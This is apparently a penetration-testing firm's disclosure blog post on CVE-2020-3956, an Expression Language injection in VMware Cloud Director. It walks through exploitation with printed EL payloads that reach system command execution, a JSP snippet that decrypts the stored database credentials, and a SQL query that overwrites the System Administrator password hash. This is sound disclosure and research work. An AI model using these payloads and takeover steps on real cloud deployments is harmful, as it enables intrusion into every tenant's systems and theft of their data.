Full infrastructure takeover of VMware Cloud Director (CVE-2020-3956)

Full infrastructure takeover of VMware Cloud Director (CVE-2020-3956)

How a single simple form submission can be manipulated to gain control of any Virtual Machine (VM) within VMware Cloud Director. The story of a critical vulnerability that enables a full infrastructure takeover.


VMware Cloud Director (formerly known as vCloud Director) is a leading cloud service-delivery platform used by popular cloud providers to operate and manage cloud infrastructure. VMware powers the world’s complex digital infrastructure and serves over a half-million customers worldwide.

This story is how the Ethical Hacking company Citadelo identified a vulnerability that bypassed VMware’s underlying security fundamentals. Citadelo was hired in 2020 by a fortune 500 enterprise customer to perform a security audit and investigate their VMWare Cloud Director based cloud infrastructure.

Citadelo discovered a vulnerability that could allow an attacker to gain access to sensitive data and take over control of private clouds within an entire infrastructure. The vulnerability would enable a user to gain control over all customers within the cloud. It also grants access to an attacker to modify the login section of the entire infrastructure to capture the username and password of another customer.

According to Tomas Zatko, CEO of Citadelo, “in general, cloud infrastructure is considered relatively safe because different security layers are being implemented within its core, such as encryption, isolating of network traffic, or customer segmentations. However, security vulnerabilities can be found in any type of application, including the Cloud providers themself.”


The vulnerability is classified as a code injection vulnerability and has assigned identifier CVE-2020-3956. The severity of this vulnerability was evaluated by VMware as “important” with a CVSSV3 score of 8.8, as an attacker can affect other private clouds on the Cloud provider.

An authenticated actor can send malicious traffic to VMware Cloud Director using the web-based interface or API calls. Cloud providers offering a free trial to potential new customers using VMware Cloud Director are at high risk because an untrusted actor can quickly take advantage.

Citadelo has been able to perform the following actions using the Code injection vulnerability:

  • View content of the internal system database, including password hashes of any customers allocated to this infrastructure.
  • Modify the system database to steal foreign virtual machines (VM) assigned to different organizations within Cloud Director.
  • Escalate privileges from “Organization Administrator” (normally a customer account) to “System Administrator” with access to all cloud accounts (organization) as an attacker can change the hash for this account.
  • Modify the login page to Cloud Director, which allows the attacker to capture passwords of another customer in plaintext, including System Administrator accounts.
  • Read other sensitive data related to customers, like full names, email addresses or IP addresses.

Tomas Melicher, and Lukas Vaclavik identified this vulnerability in VMware Cloud Director during a penetration test and reported it to the vendor. Once alert to the situation, VMware created a security advisory for this vulnerability and released new versions of the product with an implemented fix for this vulnerability. No standalone patch for older versions is currently available. VMware has released a workaround for customers that can’t perform an update at this time.

Who is affected

  • Public cloud providers using VMware vCloud Director.
  • Private cloud providers using VMware vCloud Director
  • Enterprises using VMware vCloud Director technology
  • Any government identity using VMware Cloud Director.

Proof of Concept - PoC

Please see the educational (PoC) Video here.

Disclaimer: This content has been made available for educational purposes only. The video shows how a single simple submit form can be manipulated to gain control of all clouds within VMware Cloud Director.

We also created a simple exploit, available here.


Expression Language Injection (EL Injection)

Everything started with just a simple anomaly. When we entered ${7*7} as a hostname for SMTP server in vCloud Director, we received the following error message:

String value has invalid format, value: [49]


As you may notice, our expression 7*7 was evaluated as 49. It indicated some form of Expression Language injection, as we were able to evaluate simple arithmetic functions on the server-side. Great! However, that was not what we were looking for. We wanted more, so we played a little bit more with it.

Remote Code Execution

After some unsuccessful attempts, we were able to call simple java code using the following payloads:

${'aaa'.getClass()} // class java.lang.String
${''.getClass().getResource('')} // jar:file:/opt/vmware/vcloud-director/lib/endorsed/org.apache.karaf.exception-2.2.9.jar!/java/lang/

Full of hope we naively tried a well known payload for EL Injections:

${java.lang.Runtime.getRuntime().exec('sleep 5').waitFor()}

And… nothing happened. No delay. But we don’t give up! We need to exploit this step by step. And maybe some coffee.

Our first step was to access arbitrary classes. Not only java.lang.String, java.util.ArrayList and others that can be directly used by expression languages. We did it using the java function forName(), and our next payload looked like this:

${''.getClass().forName('java.util.Date')} // class java.util.Date

Perfect. We are now able to access arbitrary java classes. Let’s try to call its methods:


This, unfortunately, isn’t allowed.. There is probably some form of whitelist/blacklist filter for methods that can be called in expressions. We need to play with more. And more coffee.

Maybe we can create new instances of classes?

${''.getClass().forName('java.util.Date').newInstance()} // Thu Feb 20 12:21:48 UTC 2020

Oh Yes, we can! So at this point, we can access arbitrary java classes and create their instances without parameters. This, however, is still not enough for achieving the execution of any system command. We need a way to create new instances of classes with some parameters. Maybe the method getDeclaredConstructors()would help.

${''.getClass().forName('java.util.Date').getDeclaredConstructors()[0]} // public java.util.Date()
${''.getClass().forName('java.util.Date').getDeclaredConstructors()[4].newInstance('Sat, 12 Aug 1995 13:30:00 GMT')} // Sat Aug 12 13:30:00 UTC 1995

Great, now we can create new instances of classes using any of its constructor and that should be enough for achieving system command execution. Let’s try out.


After submitting this payload, the server responded after 5 seconds. So.. this means that we successfully executed the system command sleep 5. Amazing, just one more step. Getting output from submitted system command:


And this is our final working payload, as can be seen on the screenshot, that made us scream ‘Yes!’, below:


Getting access to foreign clouds

Remote Code Execution is usually considered a game over from an ethical hacker perspective, but not in this context. Our final goal was to gain control of foreign clouds. First, we identified, that all the sensitive data related to vCloud are stored in a remote database, and the credentials to this database can be found in the following files:


However, to make it not so easy, they are encrypted using AES with an encryption key hardcoded in the source code of the vCloud Director. We need to examine it deeper, so we decompiled it. We found out that vCloud encryption is handled by a custom class com.vmware.vcloud.common.crypto.EncryptionManager and credentials to the database can be easily obtained using the following snippet of java code (can be stored in a .jsp file in the document root):

final IEncryption manager = EncryptionManager.getDefaultEncrypter();
out.println(manager.Decrypt("[encrypted password]"));

Now we have full access to the vCloud database, and we can access all the data. What next? Get coffee, then get all the clouds.

Probably the easiest way to gain access to all clouds is to change the password for System Administrator. In decompiled sources we identified, that the password is stored in this form:


So changing the password for System Administrator to value Password123 can be done using the following SQL query:

UPDATE usr SET password='8nmlODAJ92cQdJCqasw8YXAU2Ix+ODa3rc+5fFhEeMFV+c9iDNys+OEFtKK/0CXjIS9OxKlYaPdrIITYAWL0Eh/PYLwrtI8d' WHERE username='administrator'

After that, we were able to login as System Administrator and access data of all customers. And that was the real game over.



This vulnerability was identified by our penetration testers Tomáš Melicher and Lukáš Václavík. We also like to thank VMware for their cooperation during the responsible disclosure process and their effort to fix the vulnerability quickly.

With this disclosure, Citadelo underlines the importance of regular security testing performed by an external third-party vendor, such as Citadelo, to reduce risks of exposure.


  • 1st April 2020 - Initial report sent to VMware.
  • 3rd April 2020 - VMware successfully reproduced the vulnerability
  • 30th April 2020 - Released vCloud Director and with fixed vulnerability
  • 13th May 2020 - Assigned CVE-2020-3956
  • 19th May 2020 - Released vCloud Director and with fixed vulnerability
  • 19th May 2020 - Published Security Advisory VMSA-2020-0010
  • 2nd June 2020 - Publication of this article on our blog


About the author

Citadelo is a firm of ethical hackers on your side. We think like hackers, but we don't abuse it. On the contrary, our main goal is to reveal vulnerabilities without causing damage. We have been conducting simulated attacks for our clients since 2006
Show more from author

Related blogs